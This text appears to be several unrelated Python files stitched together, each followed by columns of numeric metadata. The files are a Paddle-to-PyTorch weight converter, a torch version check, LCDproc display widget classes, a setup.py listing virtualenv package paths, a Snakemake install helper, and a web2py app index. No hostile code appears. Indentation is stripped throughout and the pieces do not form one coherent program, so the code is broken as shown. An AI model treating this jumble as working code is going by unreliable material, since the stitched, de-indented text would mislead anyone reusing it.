variant = 'd'
groups = 1
base_width = 64
lr = 1.0
norm_type = 'bn'
norm_decay = 0.0
freeze_norm = False
dcn_v2 = False
std_senet = False
ch_in = 256
ch_out = 64
stride = 1
shortcut = True
variant = 'd'
groups = 1
base_width = 64
lr = 1.0
norm_type = 'bn'
norm_decay = 0.0
freeze_norm = False
dcn_v2 = False
std_senet = False
ch_in = 256
ch_out = 128
stride = 2
shortcut = False
variant = 'd'
groups = 1
base_width = 64
lr = 1.0
norm_type = 'bn'
norm_decay = 0.0
freeze_norm = False
dcn_v2 = False
std_senet = False
ch_in = 512
ch_out = 128
stride = 1
shortcut = True
variant = 'd'
groups = 1
base_width = 64
lr = 1.0
norm_type = 'bn'
norm_decay = 0.0
freeze_norm = False
dcn_v2 = False
std_senet = False
ch_in = 512
ch_out = 128
stride = 1
shortcut = True
variant = 'd'
groups = 1
base_width = 64
lr = 1.0
norm_type = 'bn'
norm_decay = 0.0
freeze_norm = False
dcn_v2 = False
std_senet = False
ch_in = 512
ch_out = 128
stride = 1
shortcut = True
variant = 'd'
groups = 1
base_width = 64
lr = 1.0
norm_type = 'bn'
norm_decay = 0.0
freeze_norm = False
dcn_v2 = False
std_senet = False
ch_in = 512
ch_out = 256
stride = 2
shortcut = False
variant = 'd'
groups = 1
base_width = 64
lr = 1.0
norm_type = 'bn'
norm_decay = 0.0
freeze_norm = False
dcn_v2 = False
std_senet = False
ch_in = 1024
ch_out = 256
stride = 1
shortcut = True
variant = 'd'
groups = 1
base_width = 64
lr = 1.0
norm_type = 'bn'
norm_decay = 0.0
freeze_norm = False
dcn_v2 = False
std_senet = False
ch_in = 1024
ch_out = 256
stride = 1
shortcut = True
variant = 'd'
groups = 1
base_width = 64
lr = 1.0
norm_type = 'bn'
norm_decay = 0.0
freeze_norm = False
dcn_v2 = False
std_senet = False
ch_in = 1024
ch_out = 256
stride = 1
shortcut = True
variant = 'd'
groups = 1
base_width = 64
lr = 1.0
norm_type = 'bn'
norm_decay = 0.0
freeze_norm = False
dcn_v2 = False
std_senet = False
ch_in = 1024
ch_out = 256
stride = 1
shortcut = True
variant = 'd'
groups = 1
base_width = 64
lr = 1.0
norm_type = 'bn'
norm_decay = 0.0
freeze_norm = False
dcn_v2 = False
std_senet = False
ch_in = 1024
ch_out = 256
stride = 1
shortcut = True
variant = 'd'
groups = 1
base_width = 64
lr = 1.0
norm_type = 'bn'
norm_decay = 0.0
freeze_norm = False
dcn_v2 = False
std_senet = False
ch_in = 1024
ch_out = 512
stride = 2
shortcut = False
variant = 'd'
groups = 1
base_width = 64
lr = 1.0
norm_type = 'bn'
norm_decay = 0.0
freeze_norm = False
dcn_v2 = False
std_senet = False
ch_in = 2048
ch_out = 512
stride = 1
shortcut = True
variant = 'd'
groups = 1
base_width = 64
lr = 1.0
norm_type = 'bn'
norm_decay = 0.0
freeze_norm = False
dcn_v2 = False
std_senet = False
ch_in = 2048
ch_out = 512
stride = 1
shortcut = True
variant = 'd'
groups = 1
base_width = 64
lr = 0.5
norm_type = 'bn'
norm_decay = 0.0
freeze_norm = False
dcn_v2 = False
std_senet = False
model = BottleNeck(ch_in=ch_in,
ch_out=ch_out,
stride=stride,
shortcut=shortcut,
variant=variant,
groups=groups,
base_width=base_width,
lr=lr,
norm_type=norm_type,
norm_decay=norm_decay,
freeze_norm=freeze_norm,
dcn_v2=dcn_v2,
std_senet=std_senet,
)
model.train()
model_std = model.state_dict()
def copy(name, w, std):
if isinstance(w, dict):
print()
value2 = torch.Tensor(w)
value = std[name]
value.copy_(value2)
std[name] = value
ckpt_file = '53_00.pdparams'
save_name = '53_00.pth'
with open(ckpt_file, 'rb') as f:
model_dic = pickle.load(f) if six.PY2 else pickle.load(f, encoding='latin1')
for key in model_dic.keys():
name2 = key
w = model_dic[key]
if 'StructuredToParameterName@@' in key:
continue
else:
if '._mean' in key:
name2 = name2.replace('._mean', '.running_mean')
if '._variance' in key:
name2 = name2.replace('._variance', '.running_var')
copy(name2, w, model_std)
model.load_state_dict(model_std)
torch.save(model_std, save_name)
print(torch.__version__)
ckpt_file = '53_08.pdparams'
save_name = '53_08_paddle.pth'
with open(ckpt_file, 'rb') as f:
model_dic = pickle.load(f) if six.PY2 else pickle.load(f, encoding='latin1')
for key in model_dic.keys():
name2 = key
w = model_dic[key]
if 'StructuredToParameterName@@' in key:
continue
else:
if '._mean' in key:
name2 = name2.replace('._mean', '.running_mean')
if '._variance' in key:
name2 = name2.replace('._variance', '.running_var')
copy(name2, w, model_std)
model.load_state_dict(model_std)
torch.save(model_std, save_name)
print(torch.__version__)
| 17.127036
| 80
| 0.628756
| 840
| 5,258
| 3.702381
| 0.102381
| 0.023151
| 0.072026
| 0.07717
| 0.850482
| 0.850482
| 0.845981
| 0.845981
| 0.845981
| 0.845981
| 0
| 0.072936
| 0.269874
| 5,258
| 306
| 81
| 17.183007
| 0.737171
| 0
| 0
| 0.878229
| 0
| 0
| 0.054244
| 0.010278
| 0
| 0
| 0
| 0
| 0
| 1
| 0.00369
| false
| 0
| 0.01476
| 0
| 0.01845
| 0.01107
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f38b7fb27242c070c45634e3957b4311a05009e7
| 104
|
py
|
Python
|
versions.py
|
CyrusDobbs/mining-argument-relations-using-transformers
|
a0732a782a64c1347a0a8ec375df43261b19c931
|
[
"Apache-2.0"
] | null | null | null |
versions.py
|
CyrusDobbs/mining-argument-relations-using-transformers
|
a0732a782a64c1347a0a8ec375df43261b19c931
|
[
"Apache-2.0"
] | null | null | null |
versions.py
|
CyrusDobbs/mining-argument-relations-using-transformers
|
a0732a782a64c1347a0a8ec375df43261b19c931
|
[
"Apache-2.0"
] | null | null | null |
import torch
print("Torch: {}".format(torch.__version__))
print("CUDA: {}".format(torch.version.cuda))
| 26
| 45
| 0.711538
| 13
| 104
| 5.384615
| 0.461538
| 0.314286
| 0.514286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.067308
| 104
| 4
| 45
| 26
| 0.721649
| 0
| 0
| 0
| 0
| 0
| 0.171429
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0.666667
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
|
0
| 7
|
f38c84afb5e5323219467e7efc63691905a57722
| 9,513
|
py
|
Python
|
recipes-webadmin/magicmodem/files/lcdproc/widgets.py
|
nixiesoft/manaospre
|
38700be096679f234413977d577e057c730fdba1
|
[
"MIT"
] | 2
|
2019-03-01T19:19:39.000Z
|
2021-11-28T03:50:56.000Z
|
recipes-webadmin/magicmodem/files/lcdproc/widgets.py
|
nixiesoft/manaospre
|
38700be096679f234413977d577e057c730fdba1
|
[
"MIT"
] | null | null | null |
recipes-webadmin/magicmodem/files/lcdproc/widgets.py
|
nixiesoft/manaospre
|
38700be096679f234413977d577e057c730fdba1
|
[
"MIT"
] | 4
|
2019-06-29T02:36:22.000Z
|
2020-08-10T04:12:11.000Z
|
import urllib.request, urllib.parse, urllib.error
class StringWidget(object):
""" String Widget """
def __init__(self, screen, ref, x, y, text):
self.screen = screen
self.ref = ref
self.x = x
self.y = y
self.text = text
self.screen.server.request("widget_add %s %s %s" % (self.screen.ref, self.ref, "string"))
self.update()
def update(self):
self.screen.server.request('widget_set %s %s %s %s "%s"' % (self.screen.ref, self.ref, self.x, self.y, self.text))
def set_x(self, x):
self.x = x
self.update()
def set_y(self, y):
self.y = y
self.update()
def set_text(self, text):
self.text = text
self.update()
class TitleWidget(object):
""" Title Widget """
def __init__(self, screen, ref, text):
self.screen = screen
self.ref = ref
self.text = text
self.screen.server.request("widget_add %s %s %s" % (self.screen.ref, self.ref, "title"))
self.update()
def update(self):
self.screen.server.request('widget_set %s %s "%s"' % (self.screen.ref, self.ref, self.text))
def set_text(self, text):
self.text = text
self.update()
class HBarWidget(object):
def __init__(self, screen, ref, x, y, length):
self.screen = screen
self.ref = ref
self.x = x
self.y = y
self.length = length
self.screen.server.request("widget_add %s %s %s" % (self.screen.ref, self.ref, "hbar"))
self.update()
def update(self):
self.screen.server.request("widget_set %s %s %s %s %s" % (self.screen.ref, self.ref, self.x, self.y, self.length))
def set_x(self, x):
self.x = x
self.update()
def set_y(self, y):
self.y = y
self.update()
def set_length(self, length):
self.length = length
self.update()
class VBarWidget(object):
def __init__(self, screen, ref, x, y, length):
self.screen = screen
self.ref = ref
self.x = x
self.y = y
self.length = length
self.screen.server.request("widget_add %s %s %s" % (self.screen.ref, self.ref, "vbar"))
self.update()
def update(self):
self.screen.server.request("widget_set %s %s %s %s %s" % (self.screen.ref, self.ref, self.x, self.y, self.length))
def set_x(self, x):
self.x = x
self.update()
def set_y(self, y):
self.y = y
self.update()
def set_length(self, length):
self.length = length
self.update()
class IconWidget(object):
def __init__(self, screen, ref, x, y, name):
self.screen = screen
self.ref = ref
self.x = x
self.y = y
self.name = name
self.screen.server.request("widget_add %s %s %s" % (self.screen.ref, self.ref, "icon"))
self.update()
def update(self):
self.screen.server.request("widget_set %s %s %s %s %s" % (self.screen.ref, self.ref, self.x, self.y, self.name))
def set_x(self, x):
self.x = x
self.update()
def set_y(self, y):
self.y = y
self.update()
def set_name(self, name):
self.name = name
self.update()
class ScrollerWidget(object):
def __init__(self, screen, ref, left, top, right, bottom, direction, speed, text):
self.screen = screen
self.ref = ref
self.left = left
self.top = top
self.right = right
self.bottom = bottom
self.direction = direction
self.speed = speed
self.text = text
self.screen.server.request("widget_add %s %s %s" % (self.screen.ref,
self.ref,
"scroller"))
self.update()
def update(self):
self.screen.server.request('widget_set %s %s %s %s %s %s %s %s "%s"' % (self.screen.ref,
self.ref,
self.left,
self.top,
self.right,
self.bottom,
self.direction,
self.speed,
self.text))
def set_left(self, left):
self.left = left
self.update()
def set_top(self, top):
self.top = top
self.update()
def set_right(self, right):
self.right = right
self.update()
def set_bottom(self, bottom):
self.bottom = bottom
self.update()
def set_direction(self, direction):
self.direction = direction
self.update()
def set_speed(self, speed):
self.speed = speed
self.update()
def set_text(self, text):
self.text = text
self.update()
class FrameWidget(object):
def __init__(self, screen, ref, left, top, right, bottom, width, height, direction, speed):
self.screen = screen
self.ref = ref
self.left = left
self.top = top
self.right = right
self.bottom = bottom
self.width = width
self.height = height
self.direction = direction
self.speed = speed
self.screen.server.request("widget_add %s %s %s" % (self.screen.ref,
self.ref,
"frame"))
self.update()
def update(self):
self.screen.server.request('widget_set %s %s %s %s %s %s %s %s %s %s' % (self.screen.ref,
self.ref,
self.left,
self.top,
self.right,
self.bottom,
self.width,
self.height,
self.direction,
self.speed))
def set_left(self, left):
self.left = left
self.update()
def set_top(self, top):
self.top = top
self.update()
def set_right(self, right):
self.right = right
self.update()
def set_bottom(self, bottom):
self.bottom = bottom
self.update()
def set_width(self, width):
self.width = width
self.update()
def set_height(self, height):
self.height = height
self.update()
def set_direction(self, direction):
self.direction = direction
self.update()
def set_speed(self, speed):
self.speed = speed
self.update()
class NumberWidget(object):
def __init__(self, screen, ref, x, value):
self.screen = screen
self.ref = ref
self.x = x
self.value = value
self.screen.server.request("widget_add %s %s %s" % (self.screen.ref,
self.ref,
"num"))
self.update()
def update(self):
self.screen.server.request('widget_set %s %s %s %s' % (self.screen.ref,
self.ref,
self.x,
self.value))
def set_x(self, x):
self.x = x
self.update()
def set_value(self, value):
self.value = value
self.update()
| 28.567568
| 122
| 0.389888
| 897
| 9,513
| 4.047938
| 0.053512
| 0.029744
| 0.031396
| 0.024236
| 0.854586
| 0.854586
| 0.845773
| 0.81355
| 0.795373
| 0.788763
| 0
| 0
| 0.51498
| 9,513
| 333
| 123
| 28.567568
| 0.786953
| 0.002838
| 0
| 0.810427
| 0
| 0.004739
| 0.043809
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.218009
| false
| 0
| 0.004739
| 0
| 0.260664
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
cacbebe378f5561f5f0ba3d416a58a0a29df1caf
| 7,603
|
py
|
Python
|
setup.py
|
Folamh/atreoraigh
|
97a4fba51908df6aa2f3a34f934fce6ef1bc5dcc
|
[
"MIT"
] | null | null | null |
setup.py
|
Folamh/atreoraigh
|
97a4fba51908df6aa2f3a34f934fce6ef1bc5dcc
|
[
"MIT"
] | null | null | null |
setup.py
|
Folamh/atreoraigh
|
97a4fba51908df6aa2f3a34f934fce6ef1bc5dcc
|
[
"MIT"
] | null | null | null |
from setuptools import setup
setup(
name='Atreoraigh',
version='1',
packages=['venv.lib.python3.6.site-packages.scapy', 'venv.lib.python3.6.site-packages.scapy.arch',
'venv.lib.python3.6.site-packages.scapy.arch.windows', 'venv.lib.python3.6.site-packages.scapy.asn1',
'venv.lib.python3.6.site-packages.scapy.tools', 'venv.lib.python3.6.site-packages.scapy.crypto',
'venv.lib.python3.6.site-packages.scapy.layers', 'venv.lib.python3.6.site-packages.scapy.contrib',
'venv.lib.python3.6.site-packages.scapy.modules',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.req',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.vcs',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.utils',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.compat',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.models',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.distlib',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.distlib._backport',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.colorama',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib._trie',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib.filters',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib.treewalkers',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib.treeadapters',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib.treebuilders',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.lockfile',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.progress',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.chardet',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3.util',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3.contrib',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3.packages',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3.packages.ssl_match_hostname',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.packaging',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.cachecontrol',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.cachecontrol.caches',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.webencodings',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.pkg_resources',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.commands',
'venv.lib.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.operations',
'venv.lib64.python3.6.site-packages.scapy', 'venv.lib64.python3.6.site-packages.scapy.arch',
'venv.lib64.python3.6.site-packages.scapy.arch.windows', 'venv.lib64.python3.6.site-packages.scapy.asn1',
'venv.lib64.python3.6.site-packages.scapy.tools', 'venv.lib64.python3.6.site-packages.scapy.crypto',
'venv.lib64.python3.6.site-packages.scapy.layers', 'venv.lib64.python3.6.site-packages.scapy.contrib',
'venv.lib64.python3.6.site-packages.scapy.modules',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.req',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.vcs',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.utils',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.compat',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.models',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.distlib',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.distlib._backport',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.colorama',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib._trie',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib.filters',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib.treewalkers',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib.treeadapters',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.html5lib.treebuilders',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.lockfile',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.progress',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.chardet',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3.util',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3.contrib',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3.packages',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.requests.packages.urllib3.packages.ssl_match_hostname',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.packaging',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.cachecontrol',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.cachecontrol.caches',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.webencodings',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip._vendor.pkg_resources',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.commands',
'venv.lib64.python3.6.site-packages.pip-9.0.1-py3.6.egg.pip.operations'],
url='',
license='MIT',
author='rmurphy',
author_email='ross.omurchadha@gmail.com',
description='FYP'
)
| 86.397727
| 137
| 0.65632
| 1,259
| 7,603
| 3.915012
| 0.057983
| 0.136336
| 0.204504
| 0.34084
| 0.97464
| 0.97464
| 0.97464
| 0.866707
| 0.832217
| 0.832217
| 0
| 0.094504
| 0.155202
| 7,603
| 87
| 138
| 87.390805
| 0.672894
| 0
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| 0
| 0.767442
| 0.79587
| 0.792713
| 0
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| true
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| 0.011628
| 0
| 0.011628
| 0
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| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
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| 0
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| 0
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| null | 0
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| 0
| 0
| 0
| 0
|
0
| 12
|
cae14de87aeaef74c3e80270ac96023f446764c4
| 136
|
py
|
Python
|
tools/Polygraphy/polygraphy/tools/template/subtool/__init__.py
|
leo0519/TensorRT
|
498dcb009fe4c2dedbe9c61044d3de4f3c04a41b
|
[
"Apache-2.0"
] | 5,249
|
2019-06-17T17:20:34.000Z
|
2022-03-31T17:56:05.000Z
|
tools/Polygraphy/polygraphy/tools/template/subtool/__init__.py
|
leo0519/TensorRT
|
498dcb009fe4c2dedbe9c61044d3de4f3c04a41b
|
[
"Apache-2.0"
] | 1,721
|
2019-06-17T18:13:29.000Z
|
2022-03-31T16:09:53.000Z
|
tools/Polygraphy/polygraphy/tools/template/subtool/__init__.py
|
leo0519/TensorRT
|
498dcb009fe4c2dedbe9c61044d3de4f3c04a41b
|
[
"Apache-2.0"
] | 1,414
|
2019-06-18T04:01:17.000Z
|
2022-03-31T09:16:53.000Z
|
from polygraphy.tools.template.subtool.trt_network import TrtNetwork
from polygraphy.tools.template.subtool.trt_config import TrtConfig
| 45.333333
| 68
| 0.882353
| 18
| 136
| 6.555556
| 0.611111
| 0.237288
| 0.322034
| 0.457627
| 0.627119
| 0.627119
| 0
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| 0
| 0
| 0.058824
| 136
| 2
| 69
| 68
| 0.921875
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| true
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| 0
| 0
| 0
|
0
| 7
|
caf0722eca8f9f2034688029b073fa5cee9c2743
| 4,019
|
py
|
Python
|
tasks_user/install_snakemake.py
|
dahak-metagenomics/dahak-yeti
|
292b777220a1227715107f1659492a4622814f6e
|
[
"BSD-3-Clause"
] | null | null | null |
tasks_user/install_snakemake.py
|
dahak-metagenomics/dahak-yeti
|
292b777220a1227715107f1659492a4622814f6e
|
[
"BSD-3-Clause"
] | 8
|
2018-03-04T06:29:59.000Z
|
2018-10-24T22:03:33.000Z
|
tasks_user/install_snakemake.py
|
dahak-metagenomics/dahak-yeti
|
292b777220a1227715107f1659492a4622814f6e
|
[
"BSD-3-Clause"
] | 1
|
2018-10-25T05:05:54.000Z
|
2018-10-25T05:05:54.000Z
|
#!/usr/bin/env python3
import os, sys
import getpass
import tempfile
import subprocess
"""
Install Snakemake
This script runs the necessary commands to install Snakemake.
"""
def install_snakemake_the_slightly_easier_way():
user = getpass.getuser()
if(user=="root"):
raise Exception("You are root - you should run this script as a normal user.")
else:
print("Installing snakemake...")
# ---------------------------
# Install snakemake
pyenvbin = os.environ['HOME']
condabin = pyenvbin+"/.pyenv/shims/conda"
pipbin = pyenvbin+"/.pyenv/shims/pip"
print(" - Adding channels:")
print(" - r")
rc = subprocess.call([condabin,"config","--add","channels","r"])
if(rc != 0):
raise Exception()
print(" - default")
rc = subprocess.call([condabin,"config","--add","channels","defaults"])
if(rc != 0):
raise Exception()
print(" - conda-forge")
rc = subprocess.call([condabin,"config","--add","channels","conda-forge"])
if(rc != 0):
raise Exception()
print(" - bioconda")
rc = subprocess.call([condabin,"config","--add","channels","bioconda"])
if(rc != 0):
raise Exception()
print(" - Upgrading pip")
rc = subprocess.call([pipbin,"install","--upgrade","pip"])
if(rc != 0):
raise Exception()
print(" - Installing packages")
# psutil required for snakemake benchmarking
rc = subprocess.call([pipbin,"install","psutil"])
if(rc != 0):
raise Exception()
print(" - Installing snakemake")
rc = subprocess.call([pipbin,"install","snakemake"])
if(rc != 0):
raise Exception()
print(" ~~*~~ ~~*~~ ~~*~~ SUCCESS! ~~*~~ ~~*~~ ~~*~~\n")
print(" Snakemake is now installed.")
print(" Test that snakemake is working using the following one-liner:\n")
print(" python -c 'import snakemake'")
print()
def install_snakemake():
user = getpass.getuser()
if(user=="root"):
raise Exception("You are root - you should run this script as a normal user.")
else:
print("Installing snakemake...")
# ---------------------------
# Install snakemake
pyenvbin = os.environ['HOME']
condabin = pyenvbin+"/.pyenv/shims/conda"
print(" - Adding channels:")
print(" - r")
rc = subprocess.call([condabin,"config","--add","channels","r"])
if(rc != 0):
raise Exception()
print(" - default")
rc = subprocess.call([condabin,"config","--add","channels","defaults"])
if(rc != 0):
raise Exception()
print(" - conda-forge")
rc = subprocess.call([condabin,"config","--add","channels","conda-forge"])
if(rc != 0):
raise Exception()
print(" - bioconda")
rc = subprocess.call([condabin,"config","--add","channels","bioconda"])
if(rc != 0):
raise Exception()
print(" - Installing snakemake")
condacmd = [condabin,"install","-y","-c","bioconda","-c","conda-forge","snakemake"]
rc = subprocess.call(condacmd)
if(rc != 0):
raise Exception()
pyenvbin = os.environ['HOME']
pipbin = pyenvbin+"/.pyenv/shims/pip"
print(" - Upgrading pip")
rc = subprocess.call([pipbin,"install","--upgrade","pip"])
if(rc != 0):
raise Exception()
print(" ~~*~~ ~~*~~ ~~*~~ SUCCESS! ~~*~~ ~~*~~ ~~*~~\n")
print(" Snakemake is now installed.")
print(" Test that snakemake is working using the following one-liner:\n")
print(" python -c 'import snakemake'")
print()
if __name__=="__main__":
install_snakemake_the_slightly_easier_way()
| 28.707143
| 91
| 0.520527
| 394
| 4,019
| 5.261421
| 0.215736
| 0.101302
| 0.100338
| 0.062711
| 0.841293
| 0.804149
| 0.743367
| 0.738543
| 0.708635
| 0.708635
| 0
| 0.004977
| 0.300075
| 4,019
| 139
| 92
| 28.913669
| 0.731959
| 0.038816
| 0
| 0.855556
| 0
| 0
| 0.319533
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.022222
| false
| 0.033333
| 0.066667
| 0
| 0.088889
| 0.3
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
1b6c224b18b53bbafce76d001e6ba08d2a53ecdc
| 1,283
|
py
|
Python
|
web2py-appliances-master/Appliances/controllers/default.py
|
wantsomechocolate/WantsomeBeanstalk
|
8c8a0a80490d04ea52661a3114fd3db8de65a01e
|
[
"BSD-3-Clause"
] | null | null | null |
web2py-appliances-master/Appliances/controllers/default.py
|
wantsomechocolate/WantsomeBeanstalk
|
8c8a0a80490d04ea52661a3114fd3db8de65a01e
|
[
"BSD-3-Clause"
] | null | null | null |
web2py-appliances-master/Appliances/controllers/default.py
|
wantsomechocolate/WantsomeBeanstalk
|
8c8a0a80490d04ea52661a3114fd3db8de65a01e
|
[
"BSD-3-Clause"
] | null | null | null |
apps = ["admin", "AjaxSpreadsheet", "AppointmentManager", "ArXivInterface", "BingApi", "BitcoinExample", "CarSales", "CeleryIntegrationExample", "CookbookExample", "CssDesigner", "CustomerRelationshipManagement", "DnaAnalysisNeedlemanWunsh", "eCardsOnMap", "EmailContactForm", "EStoreExample", "FacebookClone", "FacebookConnectExample", "FacebookExample", "FileManager", "FileTreeBrowser", "FindRideSharing", "GeolocateByIp", "HotelManagementExample", "ImageGallery", "IssueTracker", "KPax2", "LabSoftwareManagement", "LearningObjectives", "LibraryServices", "LostAndFoundItalian", "ManageContacts", "MazeGenerator", "MedicalSocialNetwork", "MetraTrainSchedule", "MinimalistWiki", "MovieReviews", "OnlineFormsToPdf", "OnlineMagazine", "OpenOpine", "PhysicsSimulator2D", "PosOnlineStore", "PoweredBy", "ProcessingJsExample", "ProjectManager", "PyForum2", "QuizBuilder", "RadioScheduleLogs", "RedditClone", "RemoteWebsiteMonitor", "RestaurantsListing", "RsvpService", "SemaCodeGenerator", "SemanticWebExample", "ServerStats", "SkeletonLayout", "SnakeGameInProcessing", "SqlDesigner", "SudokuGame", "SuperComputing2010", "SurveyAppFlourish", "SysadminInterface", "TrainCountingGame", "UploadAndShareFiles", "VideoLibrary", "Web2pyPackagingApp"]
def index():
return dict(apps=apps)
| 256.6
| 1,241
| 0.782541
| 72
| 1,283
| 13.944444
| 0.972222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.006628
| 0.059236
| 1,283
| 4
| 1,242
| 320.75
| 0.825186
| 0
| 0
| 0
| 0
| 0
| 0.759158
| 0.128605
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0.333333
| 0.666667
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
